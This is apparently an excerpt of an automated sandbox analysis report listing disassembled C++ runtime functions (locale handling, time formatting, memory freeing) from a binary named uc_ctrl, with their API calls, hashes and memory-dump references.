                                                                                              • Opcode Fuzzy Hash: 1e3a1495c46f68e0c18c4b5b822ee4110d87ee0d864d93121726062f368e9f5f
                                                                                              • Instruction Fuzzy Hash: 7AE0DF327042282B9F202EA8B8057C63BA89F096A9B104020FE0CC6740EB228900C3E4
                                                                                              Function 6CEE2E90 Relevance: 6.0, APIs: 4, Instructions: 27COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3.LIBCMT ref: 6CEE2E97
                                                                                              • ??0_Locinfo@std@@QAE@PBD@Z.MSVCP140(6CED5578,00000064), ref: 6CEE2EB9
                                                                                                • Part of subcall function 6CEE1410: __EH_prolog3.LIBCMT ref: 6CEE1417
                                                                                                • Part of subcall function 6CEE1410: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000010), ref: 6CEE1425
                                                                                                • Part of subcall function 6CEE1410: std::bad_exception::bad_exception.LIBCMT ref: 6CEE1467
                                                                                                • Part of subcall function 6CEE1410: _CxxThrowException.VCRUNTIME140(?,6CF13B5C,bad locale name), ref: 6CEE1475
                                                                                                • Part of subcall function 6CEE1410: ?_Locinfo_ctor@_Locinfo@std@@SAXPAV12@PBD@Z.MSVCP140(?,?), ref: 6CEE147E
                                                                                              • _Getcvt.MSVCP140(?,00000064), ref: 6CEE2EC6
                                                                                                • Part of subcall function 6CEDF0F0: ___lc_codepage_func.API-MS-WIN-CRT-LOCALE-L1-1-0(?,?,?,?,6CEDD26D,?), ref: 6CEDF107
                                                                                                • Part of subcall function 6CEDF0F0: ___mb_cur_max_func.API-MS-WIN-CRT-LOCALE-L1-1-0(?,6CEDD26D,?), ref: 6CEDF111
                                                                                                • Part of subcall function 6CEDF0F0: ___lc_locale_name_func.API-MS-WIN-CRT-LOCALE-L1-1-0(?,6CEDD26D,?), ref: 6CEDF11A
                                                                                                • Part of subcall function 6CEDF0F0: _ismbblead.API-MS-WIN-CRT-MULTIBYTE-L1-1-0(00000000,?,6CEDD26D,?), ref: 6CEDF130
                                                                                              • ??1_Locinfo@std@@QAE@XZ.MSVCP140(00000064), ref: 6CEE2ED9
                                                                                                • Part of subcall function 6CEE1520: ?_Locinfo_dtor@_Locinfo@std@@SAXPAV12@@Z.MSVCP140(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE1525
                                                                                                • Part of subcall function 6CEE1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE1534
                                                                                                • Part of subcall function 6CEE1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE1548
                                                                                                • Part of subcall function 6CEE1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE155A
                                                                                                • Part of subcall function 6CEE1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE156C
                                                                                                • Part of subcall function 6CEE1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE157E
                                                                                                • Part of subcall function 6CEE1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE1590
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: free$Locinfo@std@@$H_prolog3$??0_??1_ExceptionGetcvtLocinfo_ctor@_Locinfo_dtor@_ThrowV12@V12@@___lc_codepage_func___lc_locale_name_func___mb_cur_max_func_ismbblead_lock_localesstd::bad_exception::bad_exception
                                                                                              • String ID:
                                                                                              • API String ID: 3765203899-0
                                                                                              • Opcode ID: f3f17960816129d05886bf96c71c209d7ede6f355f7c838f1f4717223a76b60a
                                                                                              • Instruction ID: 72f6fe9e3955a3b7f033ad2c0e9dc176df46a56f7014b6aacb6e3f0937f3067b
                                                                                              • Opcode Fuzzy Hash: f3f17960816129d05886bf96c71c209d7ede6f355f7c838f1f4717223a76b60a
                                                                                              • Instruction Fuzzy Hash: E8F08232A01204DBDF14DFE4C481BCDB7B1BF04744F20846DA400AF741DB749949CB91
                                                                                              Function 6CEE29E0 Relevance: 6.0, APIs: 4, Instructions: 27COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3.LIBCMT ref: 6CEE29E7
                                                                                              • ??0_Locinfo@std@@QAE@PBD@Z.MSVCP140(6CED5578,00000064), ref: 6CEE2A09
                                                                                                • Part of subcall function 6CEE1410: __EH_prolog3.LIBCMT ref: 6CEE1417
                                                                                                • Part of subcall function 6CEE1410: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000010), ref: 6CEE1425
                                                                                                • Part of subcall function 6CEE1410: std::bad_exception::bad_exception.LIBCMT ref: 6CEE1467
                                                                                                • Part of subcall function 6CEE1410: _CxxThrowException.VCRUNTIME140(?,6CF13B5C,bad locale name), ref: 6CEE1475
                                                                                                • Part of subcall function 6CEE1410: ?_Locinfo_ctor@_Locinfo@std@@SAXPAV12@PBD@Z.MSVCP140(?,?), ref: 6CEE147E
                                                                                              • _Getcvt.MSVCP140(?,00000064), ref: 6CEE2A16
                                                                                                • Part of subcall function 6CEDF0F0: ___lc_codepage_func.API-MS-WIN-CRT-LOCALE-L1-1-0(?,?,?,?,6CEDD26D,?), ref: 6CEDF107
                                                                                                • Part of subcall function 6CEDF0F0: ___mb_cur_max_func.API-MS-WIN-CRT-LOCALE-L1-1-0(?,6CEDD26D,?), ref: 6CEDF111
                                                                                                • Part of subcall function 6CEDF0F0: ___lc_locale_name_func.API-MS-WIN-CRT-LOCALE-L1-1-0(?,6CEDD26D,?), ref: 6CEDF11A
                                                                                                • Part of subcall function 6CEDF0F0: _ismbblead.API-MS-WIN-CRT-MULTIBYTE-L1-1-0(00000000,?,6CEDD26D,?), ref: 6CEDF130
                                                                                              • ??1_Locinfo@std@@QAE@XZ.MSVCP140(00000064), ref: 6CEE2A29
                                                                                                • Part of subcall function 6CEE1520: ?_Locinfo_dtor@_Locinfo@std@@SAXPAV12@@Z.MSVCP140(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE1525
                                                                                                • Part of subcall function 6CEE1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE1534
                                                                                                • Part of subcall function 6CEE1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE1548
                                                                                                • Part of subcall function 6CEE1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE155A
                                                                                                • Part of subcall function 6CEE1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE156C
                                                                                                • Part of subcall function 6CEE1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE157E
                                                                                                • Part of subcall function 6CEE1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE1590
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: free$Locinfo@std@@$H_prolog3$??0_??1_ExceptionGetcvtLocinfo_ctor@_Locinfo_dtor@_ThrowV12@V12@@___lc_codepage_func___lc_locale_name_func___mb_cur_max_func_ismbblead_lock_localesstd::bad_exception::bad_exception
                                                                                              • String ID:
                                                                                              • API String ID: 3765203899-0
                                                                                              • Opcode ID: f4751c61fa55e4b09295bceb56b14794cbed916348be09b6ee676553cb673538
                                                                                              • Instruction ID: ec8915af571f3ec0bdbced40d2abd4df09816d94105ab8fa9ad52614dedecfc3
                                                                                              • Opcode Fuzzy Hash: f4751c61fa55e4b09295bceb56b14794cbed916348be09b6ee676553cb673538
                                                                                              • Instruction Fuzzy Hash: 0AF05832A012049BDB10DFE4C881ACDB7B1BB08744F2184ADA400AF782DB74AA49CBA0
                                                                                              Function 001090DE Relevance: 6.0, APIs: 4, Instructions: 26timethreadCOMMONLIBRARYCODE
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • GetSystemTimeAsFileTime.KERNEL32(00000000), ref: 001090F0
                                                                                              • GetCurrentThreadId.KERNEL32 ref: 001090FF
                                                                                              • GetCurrentProcessId.KERNEL32 ref: 00109108
                                                                                              • QueryPerformanceCounter.KERNEL32(?), ref: 00109115
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4145483060.0000000000101000.00000020.00000001.01000000.00000009.sdmp, Offset: 00100000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4145286846.0000000000100000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4145589452.000000000010A000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4145716784.0000000000111000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4145903612.0000000000112000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_100000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
                                                                                              • String ID:
                                                                                              • API String ID: 2933794660-0
                                                                                              • Opcode ID: 4be3eab3e206c71d367f3a1acf4b8d4fdb3d8223ae3a634553b180c31a18fb88
                                                                                              • Instruction ID: cfc0c8cadfb0f905cdd24a49283623142138a15c96ad3b441fb6959c63c8a2c3
                                                                                              • Opcode Fuzzy Hash: 4be3eab3e206c71d367f3a1acf4b8d4fdb3d8223ae3a634553b180c31a18fb88
                                                                                              • Instruction Fuzzy Hash: 34F0AF70C1020CEBCB00DFF4E949A9EBBF8FF18311F918596A845E7110E774AB488B52
                                                                                              Function 6CEE6EA0 Relevance: 6.0, APIs: 4, Instructions: 26COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • ___crtIsPackagedApp.LIBCPMT ref: 6CEE6EA3
                                                                                                • Part of subcall function 6CF0A020: ___crt_IsPackagedAppHelper.LIBCPMT ref: 6CF0A02A
                                                                                              • _errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CEE6EAC
                                                                                              • CreateHardLinkW.KERNEL32(?,?,00000000), ref: 6CEE6EC5
                                                                                              • GetLastError.KERNEL32 ref: 6CEE6ECF
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: Packaged$CreateErrorHardHelperLastLink___crt___crt__errno
                                                                                              • String ID:
                                                                                              • API String ID: 3859327723-0
                                                                                              • Opcode ID: ad7be887fd2adba1f2b9ec68c782360f7b2119d9bf8e971ee091f1b24c980a26
                                                                                              • Instruction ID: 8784f6d1aac08f71d091b7de33a8b52ec4822d52c00cdfd71608d8e1ee686551
                                                                                              • Opcode Fuzzy Hash: ad7be887fd2adba1f2b9ec68c782360f7b2119d9bf8e971ee091f1b24c980a26
                                                                                              • Instruction Fuzzy Hash: FBE04F327042296B9F601FA9A8087867FB9DF496A97104025FA0DC6750EB21894097E4
                                                                                              Function 6CEFEED0 Relevance: 6.0, APIs: 4, Instructions: 23COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3.LIBCMT ref: 6CEFEED7
                                                                                              • ??0_Locinfo@std@@QAE@PBD@Z.MSVCP140(6CED5578,00000038,6CEFED77,00000000), ref: 6CEFEF01
                                                                                                • Part of subcall function 6CEE1410: __EH_prolog3.LIBCMT ref: 6CEE1417
                                                                                                • Part of subcall function 6CEE1410: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000010), ref: 6CEE1425
                                                                                                • Part of subcall function 6CEE1410: std::bad_exception::bad_exception.LIBCMT ref: 6CEE1467
                                                                                                • Part of subcall function 6CEE1410: _CxxThrowException.VCRUNTIME140(?,6CF13B5C,bad locale name), ref: 6CEE1475
                                                                                                • Part of subcall function 6CEE1410: ?_Locinfo_ctor@_Locinfo@std@@SAXPAV12@PBD@Z.MSVCP140(?,?), ref: 6CEE147E
                                                                                              • ?_Init@?$time_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@IAEXABV_Locinfo@2@@Z.MSVCP140(?,00000038,6CEFED77,00000000), ref: 6CEFEF0C
                                                                                                • Part of subcall function 6CEF3C70: ?_W_Gettnames@_Locinfo@std@@QBE?AV_Timevec@2@XZ.MSVCP140(00000000,00000000,00000000,?,6CEF1631,00000000,00000038,6CEF9B9F,?,?,00000000,?,?,?,00000004), ref: 6CEF3C7E
                                                                                                • Part of subcall function 6CEF3C70: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,00000000,00000000,?,6CEF1631,00000000,00000038,6CEF9B9F,?,?,00000000,?,?,?,00000004), ref: 6CEF3C8E
                                                                                              • ??1_Locinfo@std@@QAE@XZ.MSVCP140(?,00000038,6CEFED77,00000000), ref: 6CEFEF14
                                                                                                • Part of subcall function 6CEE1520: ?_Locinfo_dtor@_Locinfo@std@@SAXPAV12@@Z.MSVCP140(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE1525
                                                                                                • Part of subcall function 6CEE1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE1534
                                                                                                • Part of subcall function 6CEE1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE1548
                                                                                                • Part of subcall function 6CEE1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE155A
                                                                                                • Part of subcall function 6CEE1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE156C
                                                                                                • Part of subcall function 6CEE1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE157E
                                                                                                • Part of subcall function 6CEE1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE1590
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: free$Locinfo@std@@$H_prolog3$??0_??1_ExceptionGettnames@_Init@?$time_put@_Locinfo@2@@Locinfo_ctor@_Locinfo_dtor@_ThrowTimevec@2@U?$char_traits@_V12@V12@@V?$ostreambuf_iterator@_W@std@@@std@@@std@@_lock_localesstd::bad_exception::bad_exception
                                                                                              • String ID:
                                                                                              • API String ID: 644799502-0
                                                                                              • Opcode ID: 0b672488ecc2b0a4ac3d7000641682043dab131d1b3bfa36b3b14fe82499d676
                                                                                              • Instruction ID: 37376f1ccf7a248fe1885ebbfcc944f7fec6a63fadc74ff2d1b5703c310b5752
                                                                                              • Opcode Fuzzy Hash: 0b672488ecc2b0a4ac3d7000641682043dab131d1b3bfa36b3b14fe82499d676
                                                                                              • Instruction Fuzzy Hash: D0F0ED70A002048BCB00DFD0C861BDDB7F4AF04749F60885DA006A7B80CB78AB8ACBA0
                                                                                              Function 6CEFEE70 Relevance: 6.0, APIs: 4, Instructions: 23COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3.LIBCMT ref: 6CEFEE77
                                                                                              • ??0_Locinfo@std@@QAE@PBD@Z.MSVCP140(00000000,?,?,00000038), ref: 6CEFEE9F
                                                                                                • Part of subcall function 6CEE1410: __EH_prolog3.LIBCMT ref: 6CEE1417
                                                                                                • Part of subcall function 6CEE1410: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000010), ref: 6CEE1425
                                                                                                • Part of subcall function 6CEE1410: std::bad_exception::bad_exception.LIBCMT ref: 6CEE1467
                                                                                                • Part of subcall function 6CEE1410: _CxxThrowException.VCRUNTIME140(?,6CF13B5C,bad locale name), ref: 6CEE1475
                                                                                                • Part of subcall function 6CEE1410: ?_Locinfo_ctor@_Locinfo@std@@SAXPAV12@PBD@Z.MSVCP140(?,?), ref: 6CEE147E
                                                                                              • ?_Init@?$time_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@IAEXABV_Locinfo@2@@Z.MSVCP140(?,?,?,00000038), ref: 6CEFEEAA
                                                                                                • Part of subcall function 6CEF3C70: ?_W_Gettnames@_Locinfo@std@@QBE?AV_Timevec@2@XZ.MSVCP140(00000000,00000000,00000000,?,6CEF1631,00000000,00000038,6CEF9B9F,?,?,00000000,?,?,?,00000004), ref: 6CEF3C7E
                                                                                                • Part of subcall function 6CEF3C70: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,00000000,00000000,?,6CEF1631,00000000,00000038,6CEF9B9F,?,?,00000000,?,?,?,00000004), ref: 6CEF3C8E
                                                                                              • ??1_Locinfo@std@@QAE@XZ.MSVCP140(?,?,?,00000038), ref: 6CEFEEB2
                                                                                                • Part of subcall function 6CEE1520: ?_Locinfo_dtor@_Locinfo@std@@SAXPAV12@@Z.MSVCP140(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE1525
                                                                                                • Part of subcall function 6CEE1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE1534
                                                                                                • Part of subcall function 6CEE1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE1548
                                                                                                • Part of subcall function 6CEE1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE155A
                                                                                                • Part of subcall function 6CEE1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE156C
                                                                                                • Part of subcall function 6CEE1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE157E
                                                                                                • Part of subcall function 6CEE1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE1590
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: free$Locinfo@std@@$H_prolog3$??0_??1_ExceptionGettnames@_Init@?$time_put@_Locinfo@2@@Locinfo_ctor@_Locinfo_dtor@_ThrowTimevec@2@U?$char_traits@_V12@V12@@V?$ostreambuf_iterator@_W@std@@@std@@@std@@_lock_localesstd::bad_exception::bad_exception
                                                                                              • String ID:
                                                                                              • API String ID: 644799502-0
                                                                                              • Opcode ID: b5495fddbac628d5cf8867731820cd05f8b09c606199ba046bd5a10f9968a752
                                                                                              • Instruction ID: ca39c0c70d272a775369a3162e0e0ef4837c5945db1560bdf8e1316809fa1ecd
                                                                                              • Opcode Fuzzy Hash: b5495fddbac628d5cf8867731820cd05f8b09c606199ba046bd5a10f9968a752
                                                                                              • Instruction Fuzzy Hash: B4F0E530A00209CBCB00DF90C451BDDB7F4AF04748F20844DA41597740CB74AB4DCB90
                                                                                              Function 6CEFF9B0 Relevance: 6.0, APIs: 4, Instructions: 23COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3.LIBCMT ref: 6CEFF9B7
                                                                                              • ??0_Locinfo@std@@QAE@PBD@Z.MSVCP140(6CED5578,00000038,6CEFEAF7,00000000), ref: 6CEFF9E1
                                                                                                • Part of subcall function 6CEE1410: __EH_prolog3.LIBCMT ref: 6CEE1417
                                                                                                • Part of subcall function 6CEE1410: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000010), ref: 6CEE1425
                                                                                                • Part of subcall function 6CEE1410: std::bad_exception::bad_exception.LIBCMT ref: 6CEE1467
                                                                                                • Part of subcall function 6CEE1410: _CxxThrowException.VCRUNTIME140(?,6CF13B5C,bad locale name), ref: 6CEE1475
                                                                                                • Part of subcall function 6CEE1410: ?_Locinfo_ctor@_Locinfo@std@@SAXPAV12@PBD@Z.MSVCP140(?,?), ref: 6CEE147E
                                                                                              • ?_Init@?$time_put@DV?$ostreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@IAEXABV_Locinfo@2@@Z.MSVCP140(?,00000038,6CEFEAF7,00000000), ref: 6CEFF9EC
                                                                                                • Part of subcall function 6CEFC0B0: ?_Gettnames@_Locinfo@std@@QBE?AV_Timevec@2@XZ.MSVCP140(00000000,00000000,00000000,?,6CEFAD21,00000000,00000038,6CEFD904,?,?,00000000,?,?,?,00000004), ref: 6CEFC0BE
                                                                                                • Part of subcall function 6CEFC0B0: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,00000000,00000000,?,6CEFAD21,00000000,00000038,6CEFD904,?,?,00000000,?,?,?,00000004), ref: 6CEFC0CE
                                                                                              • ??1_Locinfo@std@@QAE@XZ.MSVCP140(?,00000038,6CEFEAF7,00000000), ref: 6CEFF9F4
                                                                                                • Part of subcall function 6CEE1520: ?_Locinfo_dtor@_Locinfo@std@@SAXPAV12@@Z.MSVCP140(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE1525
                                                                                                • Part of subcall function 6CEE1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE1534
                                                                                                • Part of subcall function 6CEE1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE1548
                                                                                                • Part of subcall function 6CEE1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE155A
                                                                                                • Part of subcall function 6CEE1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE156C
                                                                                                • Part of subcall function 6CEE1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE157E
                                                                                                • Part of subcall function 6CEE1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE1590
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: free$Locinfo@std@@$H_prolog3$??0_??1_D@std@@@std@@@std@@ExceptionGettnames@_Init@?$time_put@Locinfo@2@@Locinfo_ctor@_Locinfo_dtor@_ThrowTimevec@2@U?$char_traits@V12@V12@@V?$ostreambuf_iterator@_lock_localesstd::bad_exception::bad_exception
                                                                                              • String ID:
                                                                                              • API String ID: 493101421-0
